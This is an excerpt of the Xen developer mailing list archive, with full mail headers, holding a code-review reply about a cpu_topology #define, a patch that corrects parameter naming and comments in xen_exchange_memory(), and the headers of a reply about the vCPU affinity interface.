 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <20260629215806.11610-2-taka@valinux.co.jp>
 <97dd9fd5-c0de-4125-a40a-b7f6e1aed27d@suse.com>
 <OS9P286MB722293D7D09513349055BA4B82F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <a69129b1-f16b-4ce4-bf88-971f37eec418@suse.com>
 <TY7P286MB72346237AC47028E012D145382F62@TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <TY7P286MB72346237AC47028E012D145382F62@TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1782971879-7ED3C25E-2DE92A09/0/0
X-purgate-type: clean
X-purgate-size: 1427

On 01.07.2026 22:28, Hirokazu Takahashi wrote:
>> On 01.07.2026 13:11, Hirokazu Takahashi wrote:
>>>>> +#else /* CONFIG_CPU_TOPOLOGY */
>>>>> +
>>>>> +#define cpu_topology ((struct cpu_topology *)NULL)
>>>>
>>>> Why exactly is this needed? It very much looks as if its presence may hide
>> bugs.
>>>
>>> In the current code, the condition if ( cpu_topology ) is used to cover both
>> cases:
>>> when CONFIG_CPU_TOPOLOGY is disabled, and when memory allocation for
>>> topology table fails.
>>>
>>> The next patch uses if ( cpu_topology ).
>>>
>>> static int setup_cpu_sibling_map(int cpu)
>>> {
>>>     if ( !zalloc_cpumask_var(&per_cpu(cpu_sibling_mask, cpu)) ||
>>>          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
>>>         return -ENOMEM;
>>>
>>>     if ( cpu_topology )
>>
>>     if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) )
> 
> This line should be if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) && cpu_topology )
> because 'cpu_topology' can be NULL even if CONFIG_GENERIC_CPU_TOPOLOGY is on.
> 
> void __init init_cpu_topology(void)
> {
>     unsigned int cpu;
> 
>     cpu_topology = xzalloc_array(struct cpu_topology, nr_cpu_ids);
>     if ( !cpu_topology )
>     {
>         printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
>         return;
>     }

Ah yes. The odd #define can nevertheless go away, which is the important part.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 06:11:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 06:11:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351208.1608438 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAdz-0004sK-LV; Thu, 02 Jul 2026 06:11:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351208.1608438; Thu, 02 Jul 2026 06:11:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAdz-0004sD-Ip; Thu, 02 Jul 2026 06:11:27 +0000
Received: by outflank-mailman (input) for mailman id 1351208;
 Thu, 02 Jul 2026 06:11:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfAdx-0004s7-UT
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 06:11:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfAdw-005TDF-5M
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:11:24 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a460101-5cb7-0a2a0a5109dd-0a2a4504e734-44
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:11:23 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46010b-a01d-0a2a45040019-d1558030d0b7-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:11:23 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493bf73ec2aso7873345e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:11:23 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63648d7sm20787575e9.7.2026.07.01.23.11.22
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 23:11:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782972683; x=1783577483; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=e0Vj9mvIyK/vkRH+VB0ecw51YmCBg+xpoBt6a2CHhJM=;
        b=cL5Onyrj8fE74Ytwvjsb0nDQI33i/TwFPnu1TTYw1B60jNxLejOcKnnCOM2czSSYfx
         tgl+y1MTJcQJZYn00FMCFzDExQMZLhtH52dIluwGlwd8FOGjwjSn7xUpueTkdV92gcP8
         GsASZU953x4kCUUFcJ5yFQ3NJ5jMCkCGnMQayVEWB24/ltGRg3usq1y8oAhE6MOSJMia
         dRwHBWnoHOdRYvA8MyUZNY2a+zDz0KdrhL0d7+todCQf3VYVj0vbJup00rhTAQ495bkI
         +Tfb8OW5lFmpNHGD9nOPbfI4U4llsUSkai9nAWHcaZ5FelFZcpReqGfKmc+ccfMBAE1S
         9k7g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782972683; x=1783577483;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=e0Vj9mvIyK/vkRH+VB0ecw51YmCBg+xpoBt6a2CHhJM=;
        b=X1hiQ3Orjp8dxb5syGBo2Yv3KzjeSkPppjFQJ/CsBgzLq6AtK5s2vVEV2b7PQdEVlL
         wl5P/fJG06jarTz+cE0dq1BgxqqFLFJpE5djqsm+vJQmiLHdMgC5VI0vkKB1SRXmgW1S
         s31qEdEukBUhA3Ax3WqZ5F7FKgR3ZCjGDe/YglPox+nh16NknpYi1gNnNQ7Cof+1sBr9
         zoRrfykWkNGR54qn7exWD59cfY15DEGOpAdZHajkYbVqa1xPKzsegyHttvWzN83xoN5A
         AfZ9cVXEl7zlYyaA8ZWxqZmS3yqGY+/y0hdEXSoB5YvayBM26Ic/VRzXW3qw1wzGxHuZ
         Obog==
X-Gm-Message-State: AOJu0Yz1oswpge4KppuK2HAj0HzAj2HnS/5uP3fxMjOhSEWQp832ln9/
	dzuK5jjwrP9kdhdQae+AK7cvReKvvFQ00zdoM95XbWPN9vyCj+iuRAERFFErkEvEzRNI+j+hyJR
	ndd1sXA==
X-Gm-Gg: AfdE7cm1I+QRyYHoTQpq8xQxQyZ6tzFN4FMMEpK9DiuOzilQbg+AsDqwfCSUzYW/cxu
	+dymN8d09iIvIFrGQWkVJs/9ecJL0URfw31Lll5utBAkT0KU5R7PEDQzzVsDcu9tfaxXbkBWit4
	uvEJpKtHtyKOeesx3pcgyFKsEIvJGCKikA0e+s2iISTxTZXKoyR8uaIPgCxP4wnwNKAGIaWGJmj
	ZDF57H0B4o3YwcUyNF+n5m+yvk6Dbu6zD304vXYvqHZo/q6cxLQbhnlohlXWEcA3DiDJfcthp2G
	9ykCPbMCI8IqkfwMmxktX8ePFaQ1fyuyW9APk6IY30noz2fNYmnSERk1S2el/UEgndC0aNS5YbU
	pqYaDiVfNPmJy2bBrSLRI8q6DpP+CQ4fIhp25tBOFqCsuKRMepk0TDa1xOG59B2l2M9yOtOFF5t
	WWEU9ijFuuNIw+oLCnF2Vk+ENi7Q6T2+ul9P4bF6F4C629sDRql/XVnc55UPezLVstLq/THFUk2
	eTu
X-Received: by 2002:a05:600c:3e06:b0:493:c548:87fb with SMTP id 5b1f17b1804b1-493c5488ce2mr21468245e9.36.1782972683334;
        Wed, 01 Jul 2026 23:11:23 -0700 (PDT)
Message-ID: <7e0c8795-cc60-4b78-8601-6a999739467a@suse.com>
Date: Thu, 2 Jul 2026 08:11:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2] x86/Xen: correct commentary and parameter naming of
 xen_exchange_memory()
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Juergen Gross <jgross@suse.com>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9P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ui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1782972683-AF9221CC-ED16DE08/0/0
X-purgate-type: clean
X-purgate-size: 1985

As documented in comments in struct xen_memory_exchange, the input to the
hypercall is a set of MFNs which are to be removed from the domain, plus a
set of PFNs where the newly allocated MFNs are to appear. Present comment
and parameter naming don't correctly reflect that.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Juergen Gross <jgross@suse.com>
---
v2: "fns_out" => "fns_inout". Mention parameter names in comment.

--- a/arch/x86/xen/mmu_pv.c
+++ b/arch/x86/xen/mmu_pv.c
@@ -2291,18 +2291,19 @@ static void xen_remap_exchanged_ptes(uns
 }
 
 /*
- * Perform the hypercall to exchange a region of our pfns to point to
- * memory with the required contiguous alignment.  Takes the pfns as
- * input, and populates mfns as output.
+ * Perform the hypercall to exchange a region of our pages to point to memory
+ * with the required contiguous alignment.  Takes as input the mfns to trade
+ * in (mfns_in) and the pfns where the new pages are to appear (fns_inout),
+ * and populates mfns as output (fns_inout).
  *
  * Returns a success code indicating whether the hypervisor was able to
  * satisfy the request or not.
  */
 static int xen_exchange_memory(unsigned long extents_in, unsigned int order_in,
-			       unsigned long *pfns_in,
+			       unsigned long *mfns_in,
 			       unsigned long extents_out,
 			       unsigned int order_out,
-			       unsigned long *mfns_out,
+			       unsigned long *fns_inout,
 			       unsigned int address_bits)
 {
 	long rc;
@@ -2312,13 +2313,13 @@ static int xen_exchange_memory(unsigned
 		.in = {
 			.nr_extents   = extents_in,
 			.extent_order = order_in,
-			.extent_start = pfns_in,
+			.extent_start = mfns_in,
 			.domid        = DOMID_SELF
 		},
 		.out = {
 			.nr_extents   = extents_out,
 			.extent_order = order_out,
-			.extent_start = mfns_out,
+			.extent_start = fns_inout,
 			.address_bits = address_bits,
 			.domid        = DOMID_SELF
 		}


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 06:13:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 06:13:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351215.1608448 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAg2-0005P5-2L; Thu, 02 Jul 2026 06:13:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351215.1608448; Thu, 02 Jul 2026 06:13:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAg1-0005Oy-UF; Thu, 02 Jul 2026 06:13:33 +0000
Received: by outflank-mailman (input) for mailman id 1351215;
 Thu, 02 Jul 2026 06:13:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wfAg0-0005Oh-LY
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 06:13:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfAfz-00DF7B-Mu
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:13:31 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a46017e-e002-0a2a0a5209dd-0a2a450a95f6-36
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:13:31 +0200
Received: from [209.85.218.41] (helo=mail-ej1-f41.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a46018b-e40e-0a2a450a0019-d155da29e4dd-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:13:31 +0200
Received: by mail-ej1-f41.google.com with SMTP id
 a640c23a62f3a-c1214350188so173775666b.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:13:31 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c12b628efefsm70160566b.32.2026.07.01.23.13.30
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 23:13:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782972811; x=1783577611; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=JNAvSXx5VzlpmRToh2f/RUHc5zZ3QsDmWQT8egVqlxc=;
        b=W9ZwJNhsoPiOivFsBuCJl+Rjz1ziZTGpd7licUEO/lkhJsvr4FJXZN7Zmq6X2DR6nI
         VjrxAt+eePC3zWOc6mPEDiLCiY5Or2N+uraUMZMuRHf8+Hu/p/hVyPxTD8jsU5RWMRyY
         uvXDkubzcCFDK8g7ZJjQKZqXLLhUYJMkzjfATf5s1rkpFlrrsLEGf1e5GVYqkuvxmeuw
         kd5P478oWH9ahxfgGng07XGd+o/ZMDX1iXf3TD0bS+tzjdRtN2vApMZJ8Q3wwY9y1d1W
         nwr+y/vfMf6WKKi6vPCoOn+MRMRvzmMzVCAHxf1d7Un70/XmRptyAKsonjKOfhpWbPAZ
         RrMg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782972811; x=1783577611;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=JNAvSXx5VzlpmRToh2f/RUHc5zZ3QsDmWQT8egVqlxc=;
        b=tQ0ATyJR9gfRfq/Hdzu8Gd6LrSJH4hDDybN4X1yxVA2cLCSRUIj78KAyAfvj2gP4XN
         Oxgicl84kMCx5vL2lSzm3LrefPqEcoVVqlZQocfDYzrs84MHMTdHYZdjncVdTnBOSDUK
         TBkQuBP57mfKqJmHBWIr7/4/QQXruXjPEjP9rAieAdC7TlcmaYXMSSSiEIcnAVI5TdQR
         3ULH/IoyViHIedf3pLIUeIxg6PO8VNCS2L76MYf2mB6jUbnaOT+gcYfiHjLuudu0hFFD
         6wYRvRQmDoaenWqghwA3XsiydhYFMVLfb7GS8Ny4JJ8AibW133/4AyohCuQKppGR9gfL
         LDHA==
X-Forwarded-Encrypted: i=1; AHgh+RqOoU2t5RsDlilIrXGl3xgjJM4FHov4OEHwOf84yKODX5HqPtMDZGVInGLyRRvGSpcr2FsASepe9OI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwVhypasz1s/sG7aZEZfwdEu3e3A0oe3k6Afpvq27pVemfpDw9a
	DjJcep6bMu9ocZMsVtXassxL9eEiidHvoFS4ggIYM0t1BtsvfrNT6AQpyvMowDFoKno=
X-Gm-Gg: AfdE7ckxDtCA0X6dAE9ukuDVuXRMcSI4uSlfrLCViT3JNVzm81k5Kk97ReYJN6z392a
	3PtRbF3LQ94nyn1OGAkuTCn6PhD8jCQMIvr6bPqI0V1/q3YD7OHy7K2AsuHE0qr/2Y72uHfBDFg
	9Uf3/9PaXSFi0UAUmkGJ/h0PnXrL6MTK6pmk5EcXn6ENc0xdubxmVugOQ7ER8AX8fN09Ym/Lhdd
	DWVTDP5d/+EgenthhUcX91zxXJZSQTPWIYSZWf7r5V9B36YboihQJ+jpBLXQTHHA+BxHzh12Df2
	I6XFj+gR9xFl1dcdPOTlb/A+DZOUjJljdqToObMY37uM/k5cftY3Qz0obzeREECqj2cGyd0pMjy
	g6r38bTK4YwhIzjf2yp9i8riPiL4kQ1FIYWaQuoTwi+yQ4YYzsNP32RzYPh0rwPmSJrC4u99Q9/
	HmpU9ASBaD8ANFM9wCLst47TIucrEle3j3sAjkL1BdJr2dhowoc+zvKQ+1vfLV+s9c45FSkLoCm
	mOsSR1QBK1Jhs0AaBy9ozjyTMmel/tjfpXA7vUQzs0=
X-Received: by 2002:a17:906:7f91:b0:c0f:beeb:dbd8 with SMTP id a640c23a62f3a-c12ae4f1638mr151204566b.27.1782972811120;
        Wed, 01 Jul 2026 23:13:31 -0700 (PDT)
Message-ID: <72ffe654-8ba0-403c-91e0-100905467970@suse.com>
Date: Thu, 2 Jul 2026 08:13:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
 <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------etd25evpDdQmLPDZlUIjD9CZ"
X-purgate-ID: tlsNG-4011c0/1782972811-D5D23DDE-908C7D3B/0/0
X-purgate-type: clean
X-purgate-size: 9188

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------etd25evpDdQmLPDZlUIjD9CZ
Content-Type: multipart/mixed; boundary="------------HTmg45iY3L0oWX3104aCGoDR";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <72ffe654-8ba0-403c-91e0-100905467970@suse.com>
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
 <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
In-Reply-To: <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
